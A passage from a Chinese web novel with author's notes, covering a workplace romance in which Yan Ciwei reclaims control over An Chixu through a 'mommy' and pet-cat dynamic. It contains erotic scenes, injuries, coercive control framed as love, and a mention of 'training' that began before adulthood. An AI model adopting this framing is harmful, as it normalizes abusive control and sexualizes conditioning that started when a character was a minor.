被晏辞微掌控彻底。 晏辞微却不像那回,目的是不要安迟叙累。 她让安迟叙这样努力。 不对了,就拍她靶心。 伺候得很累。 安迟叙战栗着努力,却不再有心慌的痛楚。 晏辞微引导她,控制她。 她很…… 满足。 * * * 在办公室过夜。 安迟叙迷迷糊糊的睡,又迷迷糊糊的醒。 晏辞微坐在她身旁,手里还拿着电脑,不知在看什么东西。 “妈咪。”安迟叙揉过眼睛起身。 她想像二十岁那样,抱住晏辞微。 也许晏辞微也会像二十岁那样,回过头给她拥吻,帮她洗漱,给她拥吻。 晏辞微却没有回应。 她敲着键盘,吧嗒声清脆,嘈杂。 安迟叙坐在沙发上,慢慢缩成一团,不再开口。 肩膀好疼。 伤口无人处理。晏辞微似乎只给她换了衣服,无视了造出来的伤。 安迟叙按了下肩膀,心底一阵酸楚。 明明控制了她。 却不管她。 不想爱她了吗? 安迟叙呼吸有些不畅。 她忍着泪,干脆起身,拢着外套往楼下逃。 晏辞微没有追上来。 没有囚禁,没有跟踪。 也没有爱。 * * * 安迟叙自己在卫生间处理了伤。一夜过去,血已经止住了。 她饥肠辘辘,就出大楼去买了块煎饼,坐在路边啃。 好像被丢弃的家猫,狼狈又迷茫。 安迟叙吃一口,顿一会儿。 直到流泪的酸楚消失,才敢吃下一口。 吃完默默回到办公室,她的组员们凑成几堆,在讨论八卦。 “怎么了吗?”安迟叙打起精神。 新的一天,她还有工作。 这不正是她想要吗?晏辞微不管她了。 安迟叙掐了下掌心,摆出日常的笑脸。 何语檐看见她,跟她招手。 慕风竟然也在。 安迟叙看了她们一眼,还以为她们不对付呢。 “你知不知道小晏总要招新助理?”何语檐想安迟叙和晏辞微关系那么近,应该知道最新情报。 “……这样吗?”之前那个被晏辞微开了? 安迟叙拧了下眉头。不会是因为没汇报自己的事吧? “她公开招?”安迟叙更想知道她们怎么知道这件事的。 何语檐看安迟叙真不清楚,就把自己知道的都说了。 “不知道哪儿传出来的。说是要在公司内部提拔一个。有人猜周倩,她的领导班子内的。反正跟她当助理待遇肯定比现在好啊,好多人跃跃欲试呢。” 安迟叙也就眉头飘了下。 “你们也想?”反正她不想。 何语檐没做动作,慕风倒是颔首。“跟着她应该能学到更多。” “那你代我去汇报?”安迟叙想着给个人情。 两个人看向她的眼神都有点奇怪。 “那我去了?”慕风到底没拒绝,拿着材料跟安迟叙道谢。 “去吧,晚点开个会,十点半左右,记得回来。”安迟叙说完,回到自己位置上处理事情。 心口一空。 也许她的心脏还是在昨夜被晏辞微啃噬殆尽。 十点十一,慕风回到了办公室。 表情有些奇怪。 安迟叙看她一眼低头继续忙。 她却走近了。 安迟叙不得不抬头,心跳同时开始加速。 “那个,安姐……”慕风心情有些复杂,表情更甚。 好像发生了天大的事一样。 安迟叙放下手里的东西。 “晏总让你上楼……”慕风说到这儿,一口气没接上。 “说慢点。”安迟叙却听不见她的话了。 只能听见扑通。 扑通。 心脏重燃跳跃。 “她说要你接任助理的位置,小组的……” 嗡一声。 安迟叙发聋,发哑,只觉天旋地转。 二十岁那年的夏日在脑海里盘旋,倒带。 她忽然意识到。 她们无论如何都回不到过去了—— 作者有话说:这两天想到安迟叙晏辞微的cp名,叫团结 团团x姐姐[撒花] 没问题啊我们埃斯0爱慕1 也许这两天剧情有点血腥?我不太清楚大家的接受程度,只是觉得讨论母女必然会讨论生死,讨论生死又绕不开血肉,也不知道该在哪里预警比较合适 第54章 第 54 章 她来接她的流浪猫回家…… “……现在吗?”安迟叙开口时, 慕风已经讲完很久了。 一滴汗从慕风额角滑落,滴得桌角发深,安迟叙迟钝移开目光, 才反应过来一样, 嗓音沙哑。 “嗯……”慕风站了有一会儿了,情绪复杂,又不敢多做想法,只能杵着,低头避开对视。 安迟叙也没有看向她意思。一双眼直愣愣丢向远处, 花了瞳孔。 她头脑的嗡鸣还没有散去, 浑身上下僵硬如死, 四肢发冷发麻, 只有睫毛不断颤抖。 半晌。 “先开会。”安迟叙依旧僵死, 声音似乎从空洞的眼里钻出来,没有半点明光。 慕风都以为自己听错了,是幻觉里的安迟叙,平日的小组长在说话。 而不是眼前这一瞬失去所有光彩的木偶。 “……开会。到时间了。”安迟叙都站起来了, 慕风也好, 凑热闹偷听的组员也罢,都没有反应过来。 安迟叙拿着电脑, 谁也看不清她如何完成这一个动作。 只知道她的眼最先恢复, 扫过来时带着寒光,叫她们不得不压下所有疑问。 办公室内,几个人悉悉索索站起来, 拿着各自的电脑,跟在安迟叙身后。 不像去开会,倒像是去赶尸。 安迟叙走在最前面, 双眼失去了动弹的功能,也不会眨,就涣散着向前盯。 她被何语檐拉了一把,这才没有错过会议室。 进会议室,安迟叙站在主位,看着手下一个个坐好。 再普通不过的场景。她也经历一个月,适应了。 此刻看着组员的脸,心头没由来得生出一股陌生感。 奇怪。 安迟叙眨眼,想要找回熟悉的感觉。 现在她是一个策划小组的组长,负责了三个项目,每个都很重要,在同时跟进。 她们每周会议应该把当周的事项整理清楚,分配到个人手里,再总结上一周的成果。 安迟叙合该熟悉这样的程序。她主持过几次小组会议了,此刻却一句话也发不出来。 她好像被人摘了咽喉。 吞咽,又感觉不到舌头,然后是牙齿、唇瓣。 安迟叙试图张开嘴。 这里是她的地盘。她想维护她来之不易的领地,管理她的子民。 可不能像以前一样,遇到事只知道发愣。 唇瓣碰到一起,却没有声音发出来。 “大家先汇报一下上周的情况吧?”还是何语檐看出了端倪,在旁边开口解围。 小组成员扫向她,神色各异。 慕风率先开始汇报。 安迟叙落在椅子上,嘴唇保持张开,没有颤抖,也没有声音。 那里成为新的黑洞。只剩一片空寂。 旧的是她的双眼。虚无的神色瞥向汇报版,什么都没看清。 被流放了。 过了太久,组员挨个汇报到结束时,安迟叙才意识到。 她已经接受了晏辞微的控制。 再也回不到自己的领地。 会议室的门恰到好处的打开。 熟悉的苦香先一步飘进安迟叙的鼻尖。 合上她干涩到发麻的口腔。 安迟叙一步一步侧头,晏辞微的身影一帧一帧放大。 好像那眨眼就会靠近的鬼。安迟叙没能将她的动作衔接成段,只看见一个个漆黑的画面。 然而晏辞微是笑着的。 她的微笑从始至终都挂在嘴角。面对外人时,晏辞微没有更多的表情。 此刻一个笑容标准又瘆人,好像昨夜的疯狂撕扯狼狈恸哭都是幻梦。 晏辞微朝安迟叙伸出手,郑重邀请。 她双目专情,笑容可人,姿态真挚,礼仪也十分到位。 落在安迟叙面前的手,还带着隐秘的掐痕。 晏辞微对暧昧的痕迹从来不遮掩。 所以昨夜才是真实,此刻倒显得有些虚幻了。 晏辞微保持了邀请的动作。没有开口,连眨眼都被垂眸代替。 睫毛遮盖双眸,只有安迟叙的角度能看清她带着猩红的眼。 她来接她的流浪猫回家了。 亲自,隆重。 再不听话,流浪猫就有些不识好歹了。 安迟叙聚焦瞳孔,看清晏辞微眼底的红,心脏一瞬骤缩。 她怔怔抬头,让整张脸都对上晏辞微的脸,被鬼魅的笑容笼罩、吞没。 安迟叙试图从晏辞微的眼里看清她自己。 可她自己的倒影本就模糊。印在茶杯里被雾气淹没,映在玻璃上被刮痕划破。 如今晏辞微的身影竟也暧昧不清,遑论一双只剩黑与红的眼。 她成了一个个色块,界限暧昧不清。 安迟叙再也看不清。 所以她伸出手。 晏辞微接住她的手。 主人领走她顽皮出逃的小猫,结束长达两年的闹剧。 晏辞微搂着安迟叙离开了会议室。留下几个人面面相觑,不知所措。 * * * 办公室里的气味都没散去。 门关上,安迟叙嗅觉已经恢复,闻到了些…… 只属于晏辞微的味道。 微妙到让人红脸。 晏辞微松开她的手,去办公桌附近翻找起什么。背对着她,整个人都陷入深沉的影。 丢了主人的猫有一瞬迷茫,惶恐后安迟叙定了定神,把一双眼重新放在晏辞微身上。 “所以,之前那个人事调动的单子,是我的。”安迟叙不哑了。 她嗓音很柔软,像猫肚皮。 谁要想触碰,却会被折起来的猫爪挠红。 晏辞微眉心一跳。“你看见了?” 什么时候? 安迟叙隐在黑暗里,逐渐与墨色融为一体。 她学得向来很好,此刻也有些神秘的魑魅感,声音不太像人,余光扫过去,身影也模糊。 “晏昭吟那次,你让我进办公室。我只是看见了露出来的标题,没有翻过你的东西。” 晏辞微以为安迟叙很近了。她转身就要抱住她,却瞥了个空,原来进门开始安迟叙就没有动弹了。 她在等她的命令。 晏辞微缓缓站起来。 窗帘透出的阳光被她彻底遮挡。办公室回到昨夜的模样。 她背着光,让人看不清神情。 安迟叙只听见她的声音,不确定她是否开了口。 “是。是你的。只不过不是这个岗位。” 所以很早以前,晏辞微就想动安迟叙的职位了。 第一次给了她组长,第二次想夺走她来之不易的领地,第三次,直接动手。 “来。”晏辞微没再继续这个话题,朝安迟叙伸手。 安迟叙已经很乖了。 她慢慢朝晏辞微迈出一步,而后被心急的晏辞微抱住。 安迟叙坐在了晏辞微腿上。 两个人坐在一人座的办公椅上,远没有二十岁那会儿温馨。 气氛甚至称得上诡异。 晏辞微手边放着银饰,安迟叙没来得及看清。 她的脸就被晏辞微捧住,接受了充满怜爱的抚摸。 晏辞微摸了好一会儿,再给安迟叙换了更舒适的姿势抱着,抬手解开她的衣领。 吧嗒。 扣子落在地上。 安迟叙胸口敞开,被简单包扎过的伤口有些显眼。 晏辞微揭开她的纱布。 这一次连话都不用说。 安迟叙知道晏辞微在调笑她连伤都不会包。 安迟叙垂下头。 晏辞微将她散落的耳发撩到耳后。 ——连头发都梳不好。 又擦掉她嘴角的一抹油。 ——早饭也不会吃,吃完也不会洗。 安迟叙闭上眼,忍痛。 她不过是离了主人就没有自理能力的家猫。 伤了痛了,都得主人来疼爱。 晏辞微的处理算得上精致了。 她让安迟叙咬着纱布,给她清理淤血,消毒,再包扎。 包完,晏辞微却没有给安迟叙穿好衣服。 只是一扯。 扣子散了一地。 安迟叙本能反抗,捂住胸口。 四目相对。 晏辞微嘴角挂着的笑像在说—— 团团不乖啊。 “……你没有锁办公室门。”安迟叙勉强给出一个理由。 这会儿褪去上衣,随时可能有人进来。 安迟叙视线穿过晏辞微的黑发,望向略打开的窗帘。 窗帘之外是透明落地窗。 安迟叙将要在没有保护的情况下暴露。 她很不安。 却只换来一声轻哂。 “那你,要不要相信我?”像情话。 在这个场景里更像威胁。 安迟叙还没开口,晏辞微已经帮她给出答案。 衣服掉在地上,彻底袒露。 安迟叙没再说话,默认了这份答案。 她知道这次她没有选择。 甚至没法反抗,只能被晏辞微扒到赤.裸,片甲不留。 这是一场服从性测试。 而晏辞微向来,是安迟叙的主.人。 …… 晏辞微拿着伤药和喷雾,抹过安迟叙胸口、腰身上更多细小的咬痕。 她的指尖划过肌肤。 很痒。 安迟叙不自在的扭动,惹来晏辞微的轻笑。 两个人靠得更近。 晏辞微温热的呼吸几乎要打在安迟叙皮肤上,给她添一抹新伤。 “姐姐……”安迟叙往后仰。 “嗯?”很明显的责问语气。 “妈咪。妈咪,痒。”不论是呼吸,还是擦药。只要来自晏辞微,安迟叙就痒得厉害。 心痒。 “乖,忍一忍。”晏辞微轻拍着安迟叙的头发,往下顺。 拍小猫一样。 安迟叙放松了呼吸,干脆落入她怀里。 她发现她不在意走廊外若有若无的声音。 不在意没有锁上的门,随时会被风吹开的窗帘,透明的落地窗。 晏辞微的手沉稳,修长。落在她臂膀上,搂住她。 安迟叙抓着晏辞微的衣襟,等待治疗结束。 也许从头到尾,她都只想要晏辞微的照料。 妈咪的爱。 …… 晏辞微终于把摆在旁边的银饰拿了过来。 安迟叙身上大大小小贴了十几个创可贴,还包了纱布。 这会儿抖一下,不同的颜色晃着晏辞微的眼。 晏辞微摸过她可爱的小猫。 把给她准备的手链戴上。 手链带了中指的戒指。外面刻着安迟叙的英文名,晏辞微给她取的。 里面意外凹凸不平的,大概也刻了字。 “我知道会适合你。”晏辞微替她戴好后,捧着她的手仔细端详。 安迟叙望着闪光的银饰,晶亮的质感彰显它的做工。 她猜里面刻的晏辞微的名字。 一条手链和项.圈没什么区别。 晏辞微满意,与她十指相扣,勾了勾她的下巴要她低头。 安迟叙俯身,得到一个绵长的吻。 她被牵着,按着,捏着。 胸口贴在晏辞微的衣服上,腰粘着晏辞微的掌纹。 吻到断气。 晏辞微把她搂紧,解开那条刚系好的手链。 一圈英文印在安迟叙手腕上。 不是名字。 只是“mommy”。 主从的烙印。 “现在,你是我的了。”晏辞微头搭在安迟叙肩膀上,慢慢穿过她的指缝,摩挲那一串字母,亲吻她的脖颈。 “我的乖团团,想要奖励吗?”晏辞微的亲吻出了声。安迟叙呼吸加速着,睫毛颤动。 “来,解开吧。”晏辞微也不等她回答,牵着她的手,落在自己衣领的蝴蝶结上。 蝴蝶结系得很精致、严谨。 安迟叙却能在顷刻间让它散开。 得到领结之下,和自己一般的雪白。 “还是,需要妈咪教你?”见安迟叙似有迟疑,晏辞微又笑了—— 作者有话说:团团,你姐姐来捉你了~~~ 没问题啊我们惰性依赖 详情参见昨天(?)晏辞微说要真正掌控安迟叙一次,而安迟叙:怎么办,有点爽 第55章 第 55 章 回到过去 “真拿你没办法。”晏辞微只手牵着安迟叙, 另一只手落在她肩膀,抚弄她的碎发。 食指卷起一圈,指尖带动的空气寥寥挠过安迟叙的耳。 安迟叙心比耳痒, 睫毛颤抖, 呼吸不成模样。 晏辞微牵着她的手,动了。 好像邀舞。晏辞微轻捏住安迟叙的手指,引她落地。 不过是落在大地母亲上。 晏辞微手指微动,让安迟叙捏住她的领结。 而后松手,一场教学似乎就此落幕。 晏辞微抱住她的小猫, 手扣紧腰肢, 望向安迟叙的眼满含鼓励。 这是给听话小猫的奖励。 晏辞微是好妈妈。她从不吝啬奖惩。 惩罚的伤口才被包好呢。 安迟叙垂眸注视着衣扣, 幻想解锁之下的风景。 她顺着领结滑动指尖, 隔着衣服摩擦晏辞微的皮肤。 晏辞微一次眨眼, 算作催促。 安迟叙其实很少做这一步。 大多数时候,晏辞微都会代劳,用维纳斯般的躯体迎接她的手指,再领着她的衣襟往下坠。 她是该不会。指尖停了动作, 安迟叙忽而开口, “妈咪。” “嗯?”她的母亲回应轻柔,仿佛真是海纳百川的母神。 “求你……教教我。”安迟叙抬眸, 对上晏辞微的眼。 眸光顿时被双眸的漆黑吞没。 晏辞微笑了。 她的小猫还是不乖, 想着叛逆,想着独立。这可不好。 “是得好好教你。”晏辞微重新扣上安迟叙的手,给她没有烙印的那一边也戴上手链。 牵引着彻底属于她的手, 在衣扣上下翻飞。 不过几呼吸,晏辞微也变得和安迟叙一样。 她们都在不安全的境地把隐秘彻底交予彼此。 背后是偌大的透明玻璃,眼前是没有锁的门。 晏辞微用奖励告诉安迟叙, 她们才是同类。 安迟叙的手被彻底覆盖。 掌心贴着手背,安迟叙只是跟随的仆从,却要做犯上的事。 指尖触碰到了昨夜留下的掐痕。 晏辞微似乎要她仔细品味一般,许久不曾带她走。 安迟叙随着她游动,好像在学写字。 晏辞微也会从背后抱着她,捏住她的笔,带着她写下她们的名字。 此刻亦然,只是晏辞微抱着她,二人面对面。 眼神交流更叫人红了脸。 安迟叙慢慢变得比晏辞微更红,更热。 她仿佛在触碰自己的镜面,相似的结构叫她眷恋。 可晏辞微怎么也不能成为她,浅笑的眼角勾过她的心窝,叫她头脑发烫。 “妈咪……”安迟叙想说说自己掐出来的红痕。 见了光才知道,昨夜她折腾晏辞微,不比晏辞微欺负她来得轻。 美妙的杏色都被打扰了。 “乖。”晏辞微兀地松手,按住安迟叙的唇。 要她彻底陷入柔软,不要有任何逃离的心思。 安迟叙怔怔低了头。 被晏辞微抱着,按着。 含住母亲的独特。 …… 安迟叙真像个吃奶的小猫。 不知饱足,不知廉耻。 只知道眼前有香,嘴里有甜。 连舔.舐都变得有些疼痛了。 晏辞微还在享受。 “这么喜欢吃……要不要咬一咬?”她手??搭在安迟叙头发里,蹭过她的脸畔。 捋着她的头发抚摸,轻柔的鼓励她的团团。 安迟叙听话,牙齿相碰。 当真在吃。 “乖团团。”口耑变成了夸奖的话。 “再大口点也没事的……妈咪受的住。”她向来这样引导。 安迟叙也这样跟从。 咬在掐痕上,安迟叙眼含秋水,脸烫的厉害。 她以为她被诱导着在欺负晏辞微。 可到头来,晏辞微软糯的抚摸,轻语的哄骗,都在欺负她。 把她捉弄得背直不起来,浑身发车欠。 嘴里,还得叼着妈咪勒令她吃的…… “果然还是跪着更好,对吗?”晏辞微注意到她的团团快软化了。 安迟叙眨着泪眼望向晏辞微。 晏辞微揉过她的头。 让害羞的小猫停留这么久,确实难为她了。 晏辞微便慢慢将抱在怀中,屡屡试图逃离的小猫放在地上。 她的猫已经很乖了,不再试图逃跑。 就痴痴的蹲坐在地上,仰着头,光顾着看她。 “好团团。”晏辞微给予又一次肯定,俯身把自己送到小猫面前。 “吃吧。”哄她继续。 她们回到了昨夜的位置关系。 安迟叙跪在她面前,仰头冒犯她。 晏辞微指尖做温柔的皮鞭,不时打在安迟叙身上,督促。是奖励也是惩罚。 或许,这不是一场暧昧。 只不过是终于逮回顽皮的女儿后,母亲给予的一场…… 口甫孚乚 当真喂了很久。 把不知饥饱的猫儿喂醉了。 * * * 有人敲门。 动作幅度很大,来势汹汹。 安迟叙从梦中惊醒,睁眼,松开嘴。 她好不容易降温的脸瞬间红了。 “姐姐……”本能的还是喊了最熟悉的称呼。 晏辞微也不怪她,拍拍猫脑袋。 小猫想钻角落了。 安迟叙正试图像小说里学到的那样,往书桌下面藏。 “去旁边站着。”晏辞微扭了安迟叙耳朵一下。 安迟叙是她正大光明的助理,也是人尽皆知的爱人,有什么需要躲躲藏藏的? 安迟叙整个人都红了,站在晏辞微身边不安的扭动。 晏辞微随意扣了下衣领,又给安迟叙系好上衣。 安迟叙想履行助理的职责,去开门。 晏辞微却已经发令。“进来。” 一个不太熟悉的员工走进。 安迟叙扫了一眼她的胸牌,是个主管。部门不同,安迟叙没见过她。 “晏总,我需要一个交代。”主管似乎很生气,啪一掌把自己按在晏辞微桌前,作质问态。 “说。”晏辞微可是总经理,她当然不清楚一个主管的怒火。 安迟叙看向晏辞微的眼,恍悟。 就算明白,晏辞微也会装不懂。这是拿回主动权的第一步。 对方果然愣了,气势不如刚才,不得不开口解释。 “为什么取缔《如意》第四季?还有《不曾相思》,公司花高价买的本子,准备了那么久,就差拍成爆款了,凭什么突然不让拍了?”主管是电视剧那边的主管。 安迟叙对那个领域不太熟悉,唯一的交集来自杨煦。 但杨煦不怎么演古代偶像剧。安迟叙甚至没听说过这个《如意》。 “前几天的季度会议上,我应该提到过数据。”晏辞微挺懒散的,似乎没把眼前人当回事儿。 她衣领还敞开呢。没时间系领结,也无心遮遮掩掩。安迟叙站在旁边都能看见她刚刚舔出来的水光。 好羞人。 安迟叙垂头看着脚,余光还有晏辞微的黑发,还能嗅到天竺葵的清香。 “可是紫袖娱乐,天湘影视都在拍。十五部筹备中的古装剧放出来,我们难道不要这个市场了?《如意》第一季可是大爆款,人人都在磕。”主管很不服气。 “你也说是第一季。”晏辞微没有多解释的心。她已经坐到经理的位置,下决策,管理团队才是该做的。 等手下得了好处,就会明白她不会出错,不再有这么多问题。 “不服的话,等你口中的十五部竞品放出来吧。”晏辞微就此送客。 上位者的交流方式果然不同,每一句话都展现出不容置喙的态度。 安迟叙想了想,如果是她组员有疑问,她还得开会去解答她们的疑问,说服不了还得她去调整。 主管愤愤离去。 安迟叙目送她关上门,一口气这才呼出来。 “以后这就是我的工作吗?”安迟叙想说的是记录员工的汇报。 她毕竟是助理,也许还得帮忙整理资料。 安迟叙没当过助理,接受了晏辞微的安排,也想做好。 晏辞微侧目斜了她一眼。 她的眼看向安迟叙时,常常含笑。此刻也不例外。 本该是疼惜,怜爱的眼神。晏辞微多爱她的小猫,本能的注视都带着无尽的宠溺。 安迟叙却窥见一丝嘲讽。 她往后退了一步。 晏辞微正好站起来,向她走一步。 那双眼已不带嘲讽,仿佛那只是安迟叙的错觉。 只有爱的双眼,漆黑成深渊。 她前一步,安迟叙退一步。 她被爱吓到,肌肤一次颤抖。 “跑什么。”晏辞微轻哂着,一把将她搂入怀。 是错觉吧。 闻到熟悉的天竺葵香,安迟叙不自觉放松,融入晏辞微的怀抱。 安心感涌上来。安迟叙熟悉这样的氛围,想要就此溺毙,回到过去。 “坏猫。”晏辞微敲了她头一下聊作惩罚,又亲亲她泛粉的耳垂。 惹来安迟叙一声咕噜。 “我去给你拿衣服。乖团。”晏辞微有多久没听见安迟叙特有的呢喃了?她心下欢喜,巴不得把安迟叙带到休息室。 但,晏辞微好歹留了一份心,自己进了休息室。 她望着正对门放的嫁衣,黑暗中的猩红醒目又瘆人。 晏辞微与它对视。 几秒后挪开。 也许再过不久,它就能重见天日了。 晏辞微拿了一套新裙子,带碎花的款式,出门锁好,给她的团团亲手换上。 又拿梳子,把团团的高马尾取下,要给她编辫子。 * * * 下午安迟叙才被放出去。 她回了原来的办公室,有些事要交代,还要把办公用具和自己的东西带走。 进办公室时,她的前小组成员们纷纷侧目,有些不敢认。 好像安迟叙这个人被换了一样。 安迟叙换了发型。左右两边的麻花辫盘得整齐,交汇在脑后束成一团丸子。捆丸子的还是一圈珍珠。 认不出品牌的只觉得她新换的连衣裙很漂亮,花纹大气高端。 认得出品牌的快被价格吓晕了,更别提她脖颈挂了颗大到像假的宝石,手上还带着银饰。 鞋也不再是那双一年四季都能穿的旧运动鞋。换成了小皮靴,上面还挂着水晶铃铛。 从前安迟叙太内敛,存在感底下,给她们的感觉不过平平无奇。 没有人注意得到她长什么模样,偶然想起,对她的印象也不过高马尾,黑漆漆一小团,像随处可见的田园猫。 此刻望着被精心打扮过的她,大家才恍然,原来安迟叙也挺漂亮的。 不止脸蛋,还有安静的气质。 她和晏辞微是两个极端,一个张扬,一个静默。 站在一起却没有人说违和。 谁都知道是谁给她换的衣服。组员们默不作声,以注目礼,送这位前组长离开。 “慕风,何语檐,你们过来一下。”这里已经不再是她的领地了。 安迟叙感到一阵阵生疏,语气也没那么自如。 她想晏辞微了。 不过分开两分钟而已。安迟叙定了定神,她马上就要回去。 “慕风,你接任组长。三天后之前提到的小组要合并进来,你要带头交接,换办公室。” 慕风都有些惊讶,安迟叙会把组长的位置给她。 谁都以为,何语檐当定组长了。 “何语檐当副组长。你们两个人一个负责内容,一个负责协调,如何?”其实安迟叙也没食言。 她之前就说要何语檐当副组长。只是当时谁也没想到安迟叙会被晏辞微带走。 安迟叙只是觉得何语檐更适合这个位置。 “我没意见。”慕风之前就是觉得何语檐抢她风头,以为安迟叙独宠这个没什么策划能力的人。 如今拿到应得的,还能有啥意见。 何语檐很不经意的白了她一眼。“我也没有……安姐,你还好吧?” “我很好啊。”安迟叙把资料,密码交给她们,还有点奇怪何语檐的话。 光是看就能看得出,她回到晏辞微身边过得很好。 晏辞微很会照顾她,谁都知道。 “好好努力。”安迟叙拍了拍何语檐的肩膀,快步向电梯走去。 她想赶紧回到晏辞微身边。 “人情侣和好了,你操心啥?”慕风怼了何语檐一句。“我看她挺好的,气色和早上比起来都不一样了。” “你不懂。”何语檐懒得解释,两个人怼着回了办公室。 * * * 准时下班,晏辞微挽着安迟叙上车。 安迟叙趴着车椅上往后望。她有多久没有见过六点的晚霞了? “回家就能吃饭。乖团,晚上一起洗?”晏辞微发动车辆,起步前摸摸安迟叙的脸,让她坐好。 “都听姐姐的。”安迟叙坐下,蹭蹭晏辞微的手。 她们……回去了吗? 路上安迟叙不断看向晏辞微,被发现后也不装了,光明正大盯着晏辞微侧脸看。 晏辞微惯着她,也不阻止,顶多在红灯时摸摸她的脸。 似乎一切都和以前一样了。 安迟叙收回眼神,不明白心为何不安。 她选择了顺从,选择了放弃。 她到底累了,不想与本能作对。 只要接受爱就好。而幸好她们还爱着彼此。 哪里不对呢? 快到家时,安迟叙把车上挂着的穗编好,开口想问。 “姐姐,助理一般做什么啊?”是不太一样吧?安迟叙想,至少现在她是晏辞微的助理,要做事的。 “跟着我就好。”晏辞微说罢将她编好的穗解开,摸摸她的手。 “别操那么多心,乖团。姐姐爱你。” 安迟叙侧过头,有落日暖光扫入眼。 遮得晏辞微一身黑。 她看不清晏辞微的眼,只能看见漆黑的发,深邃的眼,和一抹突兀的红。 光晕转瞬即逝。 安迟叙眨眼,晏辞微的身影依旧模糊,朦朦胧胧的,看不清。 好像很多个晏辞微重叠成同一个陌生的人。 这是她的爱人吗? 安迟叙想要伸手,在看见比回忆更成熟的眼纹时,停了心跳。 原来依旧是,什么都不做。 只需要爱晏辞微。 原来是她不一样了。 到了家,晏辞微拉开车门,牵她的团团下车。 安迟叙想回头再做留恋,又被晏辞微搂进怀,终究无法回头。 晏辞微打开门,给安迟叙的拖鞋都准备好了。是安迟叙小时候喜欢的款式,还贴着她爱过的卡通人物。 被晏辞微包养的生活要开始了—— 作者有话说:接下来向我们走来的,是奇迹团团! 团团宝,你有没有想过,看不清东西,还能看见重影,是近视+散光(?) 开玩笑的,都是文学表现手法,安迟叙没有近视和散光,很让人羡慕…… 第56章 第 56 章 人都有惰性 这是安迟叙第二次来到晏辞微的家。 这回依旧是住在晏辞微的房间。小别墅房间众多, 而安迟叙哪儿也不会去。 她望着浴室里的等身镜,颇为不熟练的解着身上的配饰。 “乖团,急什么。”晏辞微的声音由远及近。门被轻轻关上。 安迟叙随之放下手, 后背被一团暖炉贴上。 “不是说了等我吗?”晏辞微似有责备, 叼住她的耳朵。 一咬。激起一层触电感。 安迟叙一个激灵落入晏辞微怀里,被她彻底囚住。 晏辞微俯视着她,眉目含情,似水温柔。 仿佛刚刚咬倒安迟叙的人不是她,那一阵刺痛也不是给安迟叙的惩罚。 安迟叙仰头对上晏辞微的眼, 只见一阵笑意。 她双目被晏辞微的手合上。睫毛碰着掌心不断发痒。 安迟叙乖乖闭上眼, 被晏辞微抱着解开配饰、头发时, 心深处冒出一个想法。 如果是以前。她不会意识到晏辞微在惩罚她, 更不会意识到惩罚的为的是服从, 日积月累。 不过两呼吸,安迟叙已经放松下来,把自己彻底交给晏辞微。 她自愿成为了晏辞微的所有,降为一只附庸主人的猫。 堪堪两年没有做这种事而已。比起从未成年起习以为常的调.教, 两年太短。 短到安迟叙全身的细胞还没有更新迭代完, 她依旧带着过去的陋习,惰性细胞遍布浑身, 催着她低头。 晏辞微已经解完她头发上的珍珠了。接下来是繁杂的夹子。 安迟叙不知道晏辞微为什么这么熟练。 她们之间应该没有别人。安迟叙该永远信任晏辞微这一点。 也许也是惰性。 就像安迟叙自己, 两年过去依旧不会忘记如何服从晏辞微的命令。 “好了,宝贝。”晏辞微把夹子首饰都放进一旁的小盒子。 安迟叙瞥了一眼,认出那是她们高二一起买的文具盒。 “下面也要姐姐帮, 对吧?”虽是问句,但毫无意义。 晏辞微只不过在掩盖自己的说一不二。 “姐姐……”脱衣服而已。安迟叙再一次睁眼,晏辞微的身影越来越模糊了, 这么近的距离她竟还是不能看清晏辞微的五官。 好像睁眼晏辞微只有十六岁,正是意气风发的年纪,在校园牵着她的手奔跑,迎着同龄人的嘈杂妄想飞入云层。 闭眼晏辞微又变成二十岁。最无忧无虑的年纪,也是安迟叙最爱她的年纪。没有一丝细纹,眼底也不见疲惫的青黑。 安迟叙反复睁眼、闭眼。 衣襟落在地上。 拥抱她的人,却已经二十五岁了。 睫毛扫过晏辞微的耳畔。 “喊我什么?”晏辞微把安迟叙拉入不安全的境地。 安迟叙却没有任何感觉。她本能的朝晏辞微伸出手,落入母亲的怀抱。 “妈咪。”安迟叙彻底闭上眼。 不去看,不就不会被晏辞微的模糊干扰了? “乖团。妈咪爱你。”晏辞微打开淋浴喷头,掌心抹上沐浴露。 抚在安迟叙脊背,惹她一身颤抖。 * * * 被晏辞微洗澡的感觉很奇怪。 安迟叙迈出浴室,想裹上浴巾。 晏辞微先她一步,长腿迈过她的身体,投下无法跨越的阴影。修长的指捻起浴袍,搭在安迟叙身上。 安迟叙想说自己来。 她已经自己洗澡,自己擦拭两年了。 猛然把这么细微又私密的事交给别人,安迟叙没法自在。 晏辞微哪儿会同意。 她亲过安迟叙躲闪的眼皮,把她纂在怀里。 “顽皮。”轻声呵斥都足够安迟叙羞愧。 安迟叙忍着不适,紧绷身体。 晏辞微和她作对似的,在每一寸停留的时间都过分的长。 一上一下。 安迟叙呼吸被激起,沉重着。 她伸手去遮。 果然被晏辞微打了手背。 晏辞微的眼眯成蛇瞳的细线。 无需多言,疼痛最够安迟叙丢掉羞耻。 她抓着晏辞微的腰忍受擦拭。 多奇怪。她们互相看过、摸过彼此那么多次。她们才是世界上最了解彼此身心的人。 为什么晏辞微碰她,她还会觉得不舒服? 明明之前那个夜晚晏辞微打她**,她都不觉得有什么,反而享受。 换好衣服,被晏辞微牵出浴室时,安迟叙往回看。 浴室慢慢变小,变远。变得暧昧不清,好像热水带来的烟雾从来都没有散去。 安迟叙好像那落入兔子洞的爱丽丝,每一步都在变大,变怪。 “我去做晚饭。你乖乖的,在这儿等我?”直到晏辞微开口。 安迟叙眨眼,浴室不见了。眼前只剩模糊的晏辞微。 她被放在餐桌上呆坐,傻等她忙前忙后的主.人。 这多像过去。 安迟叙扭捏着,终于明白。 就算两年不够她蜕变。 也总会有那么几个细胞死去,涅槃重生成不认识晏辞微的模样。 新旧细胞在打架。 安迟叙对晏辞微的照料水土不服了。 * * * 白天玩过,晏辞微没要今晚的睡前糖果。 安迟叙跟着她一步步走,雏鸟一样,回到母巢。 “我很开心。”晏辞微抱着安迟叙,躺在床上,忍不住开口。 她说要掌控安迟叙。 安迟叙竟也听话。 她们只要回到过去就好。这样就不会有痛苦。 安迟叙没有说话。害羞的手扭来扭去,被晏辞微捉在掌心,两个人发出同一阵笑。 “我爱你。”晏辞微亲了亲安迟叙的额头。哄她胆小害羞的小猫睡觉。 安迟叙闭上眼,呼吸平稳后,晏辞微才察觉到一丝微妙。 她们那么熟了。现在是二十五岁,不是十六岁、二十岁。 安迟叙怎么还对她害羞得跟小时候一样呢? 